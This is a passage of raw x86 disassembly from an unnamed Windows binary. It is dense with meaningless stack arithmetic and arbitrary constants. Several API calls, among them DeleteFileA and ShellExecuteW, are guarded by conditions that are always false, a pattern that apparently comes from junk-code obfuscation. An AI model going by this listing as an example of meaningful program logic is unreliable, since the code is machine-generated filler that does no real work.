mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0xffffffef
jge 0x4719b5
mov dword [ebp - 0x30c], 3
jmp 0x471953
mov eax, dword [ebp - 0x30c]
dec eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0
jl 0x4719b0
mov dword [ebp - 0x2e30], 0xcc9e520c
mov dword [ebp - 0x2af8], 0xffffffff
mov eax, dword [ebp - 0x1ac4]
inc eax
mov dword [ebp - 0x1ac4], eax
mov dword [ebp - 0x314], 0
jmp 0x471996
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 3
jg 0x4719ae
mov eax, dword [ebp - 0x173c]
inc eax
mov dword [ebp - 0x173c], eax
jmp 0x471989
jmp 0x471946
jmp 0x471924
mov dword [ebp - 0xac], 0
jmp 0x4719ce
cmp dword [ebp - 0xac], 0x13
jl 0x472884
mov dword [ebp - 0x698], 0xfffffffa
mov dword [ebp - 0x1098], 0xffffffff
mov dword [ebp - 0x2184], 0x4795ed7
mov dword [ebp - 0x10e8], 0
mov dword [ebp - 0x10a0], 6
mov dword [ebp - 0x6a0], 0xfffffffe
mov dword [ebp - 0x444], 1
push 1
lea ecx, [ebp - 0x23c0]
call fcn.0042ae00
mov dword [ebp - 0x22e4], 0x380d33b9
mov dword [ebp - 0x2404], 0xf90
mov dword [ebp - 0x29dc], 1
mov dword [ebp - 0x29d8], 1
mov dword [ebp - 0x29d4], 1
mov dword [ebp - 0x29d0], 1
mov dword [ebp - 0x174], 0
jmp 0x471a83
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 1
jge 0x471aa5
push dword [ebp - 0x174]
lea ecx, [ebp - 0x23c0]
call fcn.0042aeee
mov dword [eax], 8
jmp 0x471a76
mov dword [ebp - 0x174], 0
jmp 0x471abe
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 1
jge 0x471ada
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x22ec], 0x5392614f
jmp 0x471ab1
cmp dword [ebp - 0x698], 0
je 0x471dfa
mov dword [ebp - 0x2198], 0xdc6b
mov dword [ebp - 0x218c], 1
mov dword [ebp - 0x688], 0
jmp 0x471b14
mov dword [ebp - 0x219c], 0xadd890aa
push 1
lea ecx, [ebp - 0x286c]
call fcn.0042ae00
mov dword [ebp - 0x44c], 0x7996
mov dword [ebp - 0x10c8], 0
mov dword [ebp - 0x690], 0
jmp 0x471e3e
lea ecx, [ebp - 0xb00]
call fcn.0042aed2
call fcn.0045eace
mov dword [ebp - 0x11c], 0xe1757117
mov dword [ebp - 0x11c0], 0xffffffff
mov dword [ebp - 0x11b0], 0xc694a61b
mov dword [ebp - 0x244c], 0xd6a56c37
mov dword [ebp - 0x3120], 0xffffffff
mov dword [ebp - 0x2b10], 1
mov dword [ebp - 0x2e50], 0
or dword [ebp - 0x2794], 0xffffffff
or dword [ebp - 0x2790], 0xffffffff
or dword [ebp - 0x278c], 0xffffffff
or dword [ebp - 0x2788], 0xffffffff
lea ecx, [ebp - 0x945]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x2784]
push eax
lea eax, [ebp - 0x2794]
push eax
lea ecx, [ebp - 0x331c]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x31d0]
call fcn.0042aeac
mov dword [ebp - 0x11e8], 0x7af9ca3
mov dword [ebp - 0x11c], 0
jmp 0x47294e
cmp dword [ebp - 0x11c], 0xfffffff8
jne 0x472ae9
mov dword [ebp - 0x11a0], 0x1f09a2b4
mov dword [ebp - 0x11d8], 5
mov dword [ebp - 0x2b18], 0
mov dword [ebp - 0x6e0], 0
jmp 0x472992
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 3
jge 0x4729ae
mov eax, dword [ebp - 0x6e0]
mov dword [ebp + eax*4 - 0x2e3c], 0xfffffff7
jmp 0x472985
cmp dword [ebp - 0x11c], 0
jne 0x4729c3
mov dword [ebp - 0x11b8], 1
jmp 0x4729ca
and dword [ebp - 0x11b8], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x11c]
cmp dword [ebp + eax - 0x2e3c], ecx
jl 0x4729ea
lea ecx, [ebp - 0x31d0]
call fcn.0042aed2
mov dword [ebp - 0x124], 0x7f6af112
mov dword [ebp - 0x1248], 0x91df82d
mov dword [ebp - 0x124], 0
jmp 0x472b21
cmp dword [ebp - 0x124], 0xffffffed
jne 0x472b5b
mov dword [ebp - 0x21c4], 0
cmp dword [ebp - 0x21c4], 0
je 0x472b3f
jmp 0x472b5b
mov byte [ebp - 0x367], 0
movzx eax, byte [ebp - 0x367]
test eax, eax
je 0x472b59
mov dword [ebp - 0x124], 0
jmp 0x472b74
cmp dword [ebp - 0x124], 0xfffffffa
jl 0x472e4d
mov dword [ebp - 0x4b4], 3
mov dword [ebp - 0x2030], 0x245f1dbe
mov dword [ebp - 0x4b4], 0xffffffeb
jmp 0x476eaf
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 0xfffffffd
je 0x476ee3
mov byte [ebp - 0x245], 0
movzx eax, byte [ebp - 0x245]
test eax, eax
je 0x476ed5
push 0x1520
call dword [sym.imp.KERNEL32.dll_TlsFree]
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x2030], eax
jmp 0x476ea2
mov dword [ebp - 0x2b98], 0xfffffff9
push 1
lea ecx, [ebp - 0x2eac]
call fcn.0042ae00
mov dword [ebp - 0x2f24], 0
mov dword [ebp - 0x2ba0], 0x9f42c60e
push 2
lea ecx, [ebp - 0x28fc]
call fcn.0042ae00
mov dword [ebp - 0x15c], 0
jmp 0x476f34
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 1
jge 0x476f53
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x2eac]
call fcn.0042aeee
and dword [eax], 0
jmp 0x476f27
mov dword [ebp - 0x15c], 0
jmp 0x476f6c
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jge 0x476f8b
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x28fc]
call fcn.0042aeee
and dword [eax], 0
jmp 0x476f5f
push 0
lea ecx, [ebp - 0x28fc]
call fcn.0042aeee
mov dword [ebp - 0xd80], eax
mov eax, dword [ebp - 0xd80]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xd80]
mov dword [ecx], eax
lea ecx, [ebp - 0x28fc]
call fcn.0042aed2
lea ecx, [ebp - 0x2eac]
call fcn.0042aed2
mov dword [ebp - 0x4bc], 0x9d29be1d
cmp dword [ebp - 0x4bc], 0xffffffff
ja 0x477018
mov dword [ebp - 0x4bc], 0
jmp 0x476ff1
mov eax, dword [ebp - 0x4bc]
dec eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0xffffffe7
jl 0x477016
mov byte [ebp - 0x247], 0
movzx eax, byte [ebp - 0x247]
test eax, eax
je 0x477014
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x476fe4
jmp 0x477047
mov byte [ebp - 0x249], 0
movzx eax, byte [ebp - 0x249]
test eax, eax
je 0x477047
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0
push 0x559
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
mov byte [ebp - 0x24b], 0
movzx eax, byte [ebp - 0x24b]
test eax, eax
je 0x477063
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
call fcn.0042b16b
push eax
call fcn.0047b803
pop ecx
mov dword [ebp - 0xcc], 1
mov dword [ebp - 0x4c4], 1
mov dword [ebp - 0xb8], 0x9ed890fc
mov dword [ebp - 0x4cc], 0xffffffff
mov dword [ebp - 0xcc], 0xfffffff6
jmp 0x4770b2
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xffffffe3
jg 0x477123
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2040], 0xf7fd1e81
mov dword [ebp - 0x2048], 0x952eaa29
mov byte [ebp - 0x24d], 0
movzx eax, byte [ebp - 0x24d]
test eax, eax
je 0x4770f3
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov eax, dword [ebp - 0x2038]
mov dword [ebp - 0x2040], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x2ee0], eax
mov dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x2048], eax
jmp 0x4770a5
mov dword [ebp - 0xcc], 0
jmp 0x47713c
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xfffffffe
jg 0x477526
mov dword [ebp - 0x818], 0x865b
push 2
lea ecx, [ebp - 0xb10]
call fcn.0042ae00
mov dword [ebp - 0xde8], 0xfffffffe
mov dword [ebp - 0xdf0], 0
mov dword [ebp - 0xe08], 0x56e99fd
mov dword [ebp - 0x810], 0
jmp 0x477197
mov eax, dword [ebp - 0x810]
inc eax
mov dword [ebp - 0x810], eax
cmp dword [ebp - 0x810], 2
jge 0x4771b9
push dword [ebp - 0x810]
lea ecx, [ebp - 0xb10]
call fcn.0042aeee
mov dword [eax], 1
jmp 0x47718a
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x2ba8], eax
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x2f2c], eax
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x2bb0], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x2ef0], eax
mov eax, dword [ebp - 0x818]
sub eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x818]
jne 0x477215
mov dword [ebp - 0xd90], 1
jmp 0x47721c
and dword [ebp - 0xd90], 0
mov dword [ebp - 0x4c4], 0xffffffff
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0xd88], eax
push 1
lea ecx, [ebp - 0xb10]
call fcn.0042aeee
mov ecx, dword [ebp - 0xd88]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd88]
cmp eax, dword [ebp - 0xd90]
jne 0x477261
mov dword [ebp - 0xd98], 1
jmp 0x477268
and dword [ebp - 0xd98], 0
mov eax, dword [ebp - 0x818]
cmp eax, dword [ebp - 0xd98]
jg 0x47728b
push 1
lea ecx, [ebp - 0xb10]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x477516
mov dword [ebp - 0xdc0], 0xa227
mov dword [ebp - 0xdd8], 0x77d98a9a
mov dword [ebp - 0x2bb8], 0
mov dword [ebp - 0x2f34], 2
mov byte [ebp - 0x24f], 0
movzx eax, byte [ebp - 0x24f]
test eax, eax
je 0x4772cd
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov dword [ebp - 0xb8], 1
jmp 0x4772e6
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jl 0x477516
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xb10]
call fcn.0042aeee
mov ecx, dword [ebp - 0xdc0]
cmp dword [eax], ecx
jl 0x47731a
mov dword [ebp - 0x2050], 1
jmp 0x477321
and dword [ebp - 0x2050], 0
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x2bc0], eax
cmp dword [ebp - 0xb8], 0xfff7
ja 0x477345
mov dword [ebp - 0xda0], 1
jmp 0x47734c
and dword [ebp - 0xda0], 0
cmp dword [ebp - 0xda0], 0xffffffff
jle 0x477361
mov dword [ebp - 0xda8], 1
jmp 0x477368
and dword [ebp - 0xda8], 0
mov eax, dword [ebp - 0xda8]
mov dword [ebp - 0x4cc], eax
mov esi, dword [ebp - 0x4cc]
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xb10]
call fcn.0042aeee
sub esi, dword [eax]
cmp esi, 3
jb 0x47739e
mov dword [ebp - 0xdb0], 1
jmp 0x4773a5
and dword [ebp - 0xdb0], 0
cmp dword [ebp - 0xdb0], 0xfffffff6
jl 0x4773ba
mov dword [ebp - 0xdb8], 1
jmp 0x4773c1
and dword [ebp - 0xdb8], 0
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xb10]
call fcn.0042aeee
mov esi, eax
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xb10]
call fcn.0042aeee
mov ecx, dword [ebp - 0xdb8]
imul ecx, dword [eax]
cmp dword [esi], ecx
jne 0x477404
cmp dword [ebp - 0xdc0], 0
jne 0x477404
and dword [ebp - 0xdc8], 0
jmp 0x47740e
mov dword [ebp - 0xdc8], 1
mov eax, dword [ebp - 0x4c4]
cmp dword [ebp - 0xdc8], eax
je 0x477428
mov dword [ebp - 0x2058], 1
jmp 0x47742f
and dword [ebp - 0x2058], 0
push 1
lea ecx, [ebp - 0xb10]
call fcn.0042aeee
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xb10]
call fcn.0042aeee
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4cc]
lea eax, [eax + ecx + 0x65cab430]
cmp eax, 0xcd36
jg 0x47746f
mov dword [ebp - 0xdd0], 1
jmp 0x477476
and dword [ebp - 0xdd0], 0
mov eax, dword [ebp - 0xdd0]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0xde8]
cmp dword [ebp - 0xdd8], eax
jle 0x47749c
mov dword [ebp - 0xde0], 1
jmp 0x4774a3
and dword [ebp - 0xde0], 0
mov eax, dword [ebp - 0xde0]
mov dword [ebp - 0xdf0], eax
mov eax, dword [ebp - 0xde8]
cmp dword [ebp - 0xdf0], eax
jle 0x4774c9
mov dword [ebp - 0xdf8], 1
jmp 0x4774d0
and dword [ebp - 0xdf8], 0
cmp dword [ebp - 0xdf8], 0x652f
jle 0x4774e8
mov dword [ebp - 0xe00], 1
jmp 0x4774ef
and dword [ebp - 0xe00], 0
push 1
lea ecx, [ebp - 0xb10]
call fcn.0042aeee
mov ecx, dword [ebp - 0xe00]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe08]
inc eax
mov dword [ebp - 0xe08], eax
jmp 0x4772d9
lea ecx, [ebp - 0xb10]
call fcn.0042aed2
jmp 0x47712f
push 2
lea ecx, [ebp - 0x24e4]
call fcn.0042ae00
mov dword [ebp - 0x354], 0x622ba394
mov dword [ebp - 0x164], 0
jmp 0x477556
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 2
jge 0x477578
push dword [ebp - 0x164]
lea ecx, [ebp - 0x24e4]
call fcn.0042aeee
mov dword [eax], 2
jmp 0x477549
mov dword [ebp - 0x164], 0
jmp 0x477591
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 3
jge 0x4775ad
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x2ebc], 1
jmp 0x477584
mov dword [ebp - 0x354], 1
jmp 0x4775c6
mov eax, dword [ebp - 0x354]
dec eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0
jl 0x4778bc
push 2
lea ecx, [ebp - 0x1ee4]
call fcn.0042ae00
mov dword [ebp - 0xe48], 1
mov dword [ebp - 0x280c], 0x3c0bf90a
mov dword [ebp - 0x2808], 0x3c0bf90a
mov dword [ebp - 0x2804], 0x3c0bf90a
mov dword [ebp - 0x2800], 0x3c0bf90a
lea ecx, [ebp - 0x94e]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x27fc]
push eax
lea eax, [ebp - 0x280c]
push eax
lea ecx, [ebp - 0x328c]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2edc]
call fcn.0042aeac
mov dword [ebp - 0xe18], 0xfffa
mov dword [ebp - 0x820], 0
jmp 0x47766a
mov eax, dword [ebp - 0x820]
inc eax
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x820], 2
jge 0x477689
push dword [ebp - 0x820]
lea ecx, [ebp - 0x1ee4]
call fcn.0042aeee
and dword [eax], 0
jmp 0x47765d
push 1
lea ecx, [ebp - 0x1ee4]
call fcn.0042aeee
and dword [eax], 0
jmp 0x4776bf
push 1
lea ecx, [ebp - 0x1ee4]
call fcn.0042aeee
mov dword [ebp - 0xe10], eax
mov eax, dword [ebp - 0xe10]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xe10]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x1ee4]
call fcn.0042aeee
cmp dword [eax], 1
jg 0x477891
mov dword [ebp - 0x2f00], 6
mov dword [ebp - 0xe30], 7
push 1
lea ecx, [ebp - 0x2ecc]
call fcn.0042ae00
mov dword [ebp - 0x828], 0
jmp 0x47770f
mov eax, dword [ebp - 0x828]
inc eax
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x828], 1
jge 0x477731
push dword [ebp - 0x828]
lea ecx, [ebp - 0x2ecc]
call fcn.0042aeee
mov dword [eax], 0xe13a6c9c
jmp 0x477702
mov eax, dword [ebp - 0xe18]
inc eax
mov dword [ebp - 0xe18], eax
push dword [ebp - 0x354]
lea ecx, [ebp - 0x24e4]
call fcn.0042aeee
mov dword [ebp - 0xe20], eax
push dword [ebp - 0x354]
lea ecx, [ebp - 0x24e4]
call fcn.0042aeee
mov ecx, dword [ebp - 0xe20]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe20]
cmp dword [eax], 0
je 0x477799
push 3
lea ecx, [ebp - 0x2edc]
call fcn.0042aeee
cmp dword [eax], 0
je 0x477799
mov dword [ebp - 0xe28], 1
jmp 0x4777a0
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0xe28]
sub eax, 6
mov dword [ebp - 0xe30], eax
mov eax, dword [ebp - 0xe30]
mov dword [ebp - 0x2bc8], eax
mov eax, dword [ebp - 0xe48]
cmp dword [ebp - 0x354], eax
jg 0x4777d5
mov dword [ebp - 0xe38], 1
jmp 0x4777dc
and dword [ebp - 0xe38], 0
cmp dword [ebp - 0xe38], 0
jae 0x4777f1
mov dword [ebp - 0xe40], 1
jmp 0x4777f8
and dword [ebp - 0xe40], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe40]
sub ecx, dword [ebp + eax - 0x2ebc]
je 0x477822
cmp dword [ebp - 0xe48], 0
je 0x477822
mov dword [ebp - 0xe50], 1
jmp 0x477829
and dword [ebp - 0xe50], 0
cmp dword [ebp - 0xe50], 9
je 0x47783e
mov dword [ebp - 0xe58], 1
jmp 0x477845
and dword [ebp - 0xe58], 0
push 1
lea ecx, [ebp - 0x1ee4]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0xe58]
jne 0x477868
mov dword [ebp - 0xe60], 1
jmp 0x47786f
and dword [ebp - 0xe60], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xe60]
mov dword [ebp + eax - 0x2ebc], ecx
lea ecx, [ebp - 0x2ecc]
call fcn.0042aed2
jmp 0x47769b
push 1
lea ecx, [ebp - 0x1ee4]
call fcn.0042aeee
and dword [eax], 0
lea ecx, [ebp - 0x2edc]
call fcn.0042aed2
lea ecx, [ebp - 0x1ee4]
call fcn.0042aed2
jmp 0x4775b9
lea ecx, [ebp - 0x24e4]
call fcn.0042aed2
mov dword [ebp - 0x830], 1
mov dword [ebp - 0x2618], 0xa0e6
mov dword [ebp - 0x2614], 0xa0e6
mov dword [ebp - 0x2610], 0xa0e6
mov dword [ebp - 0x260c], 0xa0e6
lea ecx, [ebp - 0xa8a]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x2608]
push eax
lea eax, [ebp - 0x2618]
push eax
lea ecx, [ebp - 0x32fc]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x31e8]
call fcn.0042aeac
mov dword [ebp - 0x830], 0
jmp 0x477947
mov eax, dword [ebp - 0x830]
inc eax
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x830], 0x1c
jge 0x477a4f
mov dword [ebp - 0x2f3c], 1
mov dword [ebp - 0x838], 0
jmp 0x477977
mov eax, dword [ebp - 0x838]
inc eax
mov dword [ebp - 0x838], eax
cmp dword [ebp - 0x838], 2
jge 0x477993
mov eax, dword [ebp - 0x838]
mov dword [ebp + eax*4 - 0x1eec], 0x876942a1
jmp 0x47796a
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1eec], 3
jmp 0x4779c1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1eec]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1eec], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1eec], 0
jl 0x477a4a
push 1
lea ecx, [ebp - 0x2914]
call fcn.0042ae00
mov dword [ebp - 0x840], 0
jmp 0x4779f7
mov eax, dword [ebp - 0x840]
inc eax
mov dword [ebp - 0x840], eax
cmp dword [ebp - 0x840], 1
jge 0x477a16
push dword [ebp - 0x840]
lea ecx, [ebp - 0x2914]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x4779ea
push 0
lea ecx, [ebp - 0x2914]
call fcn.0042aeee
mov dword [ebp - 0xe68], eax
mov eax, dword [ebp - 0xe68]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xe68]
mov dword [ecx], eax
lea ecx, [ebp - 0x2914]
call fcn.0042aed2
jmp 0x4779a6
jmp 0x47793a
mov byte [ebp - 0x251], 0
movzx eax, byte [ebp - 0x251]
test eax, eax
je 0x477a69
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea ecx, [ebp - 0x31e8]
call fcn.0042aed2
mov dword [ebp - 0x14], 0x9ad59e57
mov dword [ebp - 0x3e4], 6
mov dword [ebp - 0xeb8], 0x20796559
push 4
lea ecx, [ebp - 0x2eec]
call fcn.0042ae00
mov dword [ebp - 0x848], 0
jmp 0x477ab5
mov eax, dword [ebp - 0x848]
inc eax
mov dword [ebp - 0x848], eax
cmp dword [ebp - 0x848], 4
jge 0x477ad7
push dword [ebp - 0x848]
lea ecx, [ebp - 0x2eec]
call fcn.0042aeee
mov dword [eax], 0xfffffffd
jmp 0x477aa8
mov byte [ebp - 0x253], 0
movzx eax, byte [ebp - 0x253]
test eax, eax
je 0x477af4
push 0x166b
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2bd0], eax
xor eax, eax
jne 0x477b50
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
je 0x477b15
mov dword [ebp - 0xe70], 1
jmp 0x477b1c
and dword [ebp - 0xe70], 0
mov eax, dword [ebp - 0xe70]
inc eax
inc eax
cmp eax, dword [ebp - 0x14]
je 0x477b35
mov dword [ebp - 0xe78], 1
jmp 0x477b3c
and dword [ebp - 0xe78], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0xe78], eax
je 0x477b50
and dword [ebp - 0xe80], 0
jmp 0x477b5a
mov dword [ebp - 0xe80], 1
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0xe80], eax
je 0x477b71
mov dword [ebp - 0xe88], 1
jmp 0x477b78
and dword [ebp - 0xe88], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0xe88], eax
jle 0x477b8f
mov dword [ebp - 0xe90], 1
jmp 0x477b96
and dword [ebp - 0xe90], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0xe90], eax
jge 0x477bad
mov dword [ebp - 0xe98], 1
jmp 0x477bb4
and dword [ebp - 0xe98], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0xe98]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 1
je 0x477bdc
mov dword [ebp - 0xea0], 1
jmp 0x477be3
and dword [ebp - 0xea0], 0
mov eax, dword [ebp - 0xea0]
sub eax, dword [ebp - 0x14]
cmp eax, 0xcadfb1af
jne 0x477bff
mov dword [ebp - 0xea8], 1
jmp 0x477c06
and dword [ebp - 0xea8], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xea8]
cmp eax, dword [ebp - 0x14]
je 0x477c20
mov dword [ebp - 0xeb0], 1
jmp 0x477c27
and dword [ebp - 0xeb0], 0
mov eax, dword [ebp - 0xeb0]
mov dword [ebp - 0xeb8], eax
mov eax, dword [ebp - 0xeb8]
mov dword [ebp - 0x2f44], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2bd8], eax
push 8
pop eax
sub eax, 0x7b69c93e
cmp dword [ebp - 0x14], eax
jg 0x477cd9
mov byte [ebp - 0x255], 0
movzx eax, byte [ebp - 0x255]
test eax, eax
je 0x477c73
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 0x14], 0
jmp 0x477c83
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x477cd7
mov dword [ebp - 0x3e4], 3
jmp 0x477ca2
mov eax, dword [ebp - 0x3e4]
dec eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0
jl 0x477cd5
mov byte [ebp - 0x257], 0
movzx eax, byte [ebp - 0x257]
test eax, eax
je 0x477cd3
push 0x2211
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x477c95
jmp 0x477c7c
jmp 0x477d29
mov dword [ebp - 0x305c], 0x1ec8
mov dword [ebp - 0x2be0], 0
mov dword [ebp - 0x2060], 0
mov dword [ebp - 0x2068], 0xadd7081d
cmp dword [ebp - 0x2060], 1
jle 0x477d16
mov dword [ebp - 0xec0], 1
jmp 0x477d1d
and dword [ebp - 0xec0], 0
mov eax, dword [ebp - 0xec0]
mov dword [ebp - 0x2068], eax
lea ecx, [ebp - 0x2eec]
call fcn.0042aed2
push 0
push 0
push 0
push 0
push 0x19
push 0x64
push 0x1863b
push 0x18695
push 0x90000000
push 0xa9379c
push 0xa9379c
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xa24], eax
mov dword [ebp - 0x27d0], 4
mov dword [ebp - 0x27cc], 4
mov dword [ebp - 0x27c8], 4
mov dword [ebp - 0x27c4], 4
lea ecx, [ebp - 0x965]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x27c0]
push eax
lea eax, [ebp - 0x27d0]
push eax
lea ecx, [ebp - 0x330c]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xb20]
call fcn.0042aeac
mov dword [ebp - 0x4d4], 0x90a624cd
mov dword [ebp - 0x2078], 5
mov dword [ebp - 0x2080], 0xffffffff
push 2
lea ecx, [ebp - 0xb20]
call fcn.0042aeee
cmp dword [eax], 0
je 0x477e12
push 0
lea ecx, [ebp - 0xb20]
call fcn.0042aeee
cmp dword [eax], 0
je 0x477e12
mov dword [ebp - 0xec8], 1
jmp 0x477e19
and dword [ebp - 0xec8], 0
push 2
lea ecx, [ebp - 0xb20]
call fcn.0042aeee
mov ecx, dword [ebp - 0xec8]
mov dword [eax], ecx
mov dword [ebp - 0x4d4], 0x12
jmp 0x477e47
mov eax, dword [ebp - 0x4d4]
dec eax
mov dword [ebp - 0x4d4], eax
cmp dword [ebp - 0x4d4], 5
jge 0x478145
mov dword [ebp - 0xf8], 6
mov dword [ebp - 0x4dc], 0xb839bf5b
mov byte [ebp - 0x259], 0
movzx eax, byte [ebp - 0x259]
test eax, eax
je 0x477e94
push 0x2120
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xf8], 0
jmp 0x477ead
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 3
jg 0x478140
push 1
lea ecx, [ebp - 0x24fc]
call fcn.0042ae00
mov dword [ebp - 0x850], 0
jmp 0x477ee0
mov eax, dword [ebp - 0x850]
inc eax
mov dword [ebp - 0x850], eax
cmp dword [ebp - 0x850], 1
jge 0x477f02
push dword [ebp - 0x850]
lea ecx, [ebp - 0x24fc]
call fcn.0042aeee
mov dword [eax], 0xfffffff6
jmp 0x477ed3
push dword [ebp - 0xf8]
lea ecx, [ebp - 0xb20]
call fcn.0042aeee
push dword [ebp - 0xf8]
lea ecx, [ebp - 0xb20]
call fcn.0042aeee
cmp dword [eax], 3
jne 0x477f35
mov dword [ebp - 0xed0], 1
jmp 0x477f3c
and dword [ebp - 0xed0], 0
cmp dword [ebp - 0xed0], 0xfff9
jbe 0x477f54
mov dword [ebp - 0x2070], 1
jmp 0x477f5b
and dword [ebp - 0x2070], 0
push dword [ebp - 0xf8]
lea ecx, [ebp - 0xb20]
call fcn.0042aeee
push 3
lea ecx, [ebp - 0xb20]
call fcn.0042aeee
push 0
lea ecx, [ebp - 0x24fc]
call fcn.0042aeee
cmp dword [eax], 0
jl 0x477f97
mov dword [ebp - 0xed8], 1
jmp 0x477f9e
and dword [ebp - 0xed8], 0
push 0
lea ecx, [ebp - 0xb20]
call fcn.0042aeee
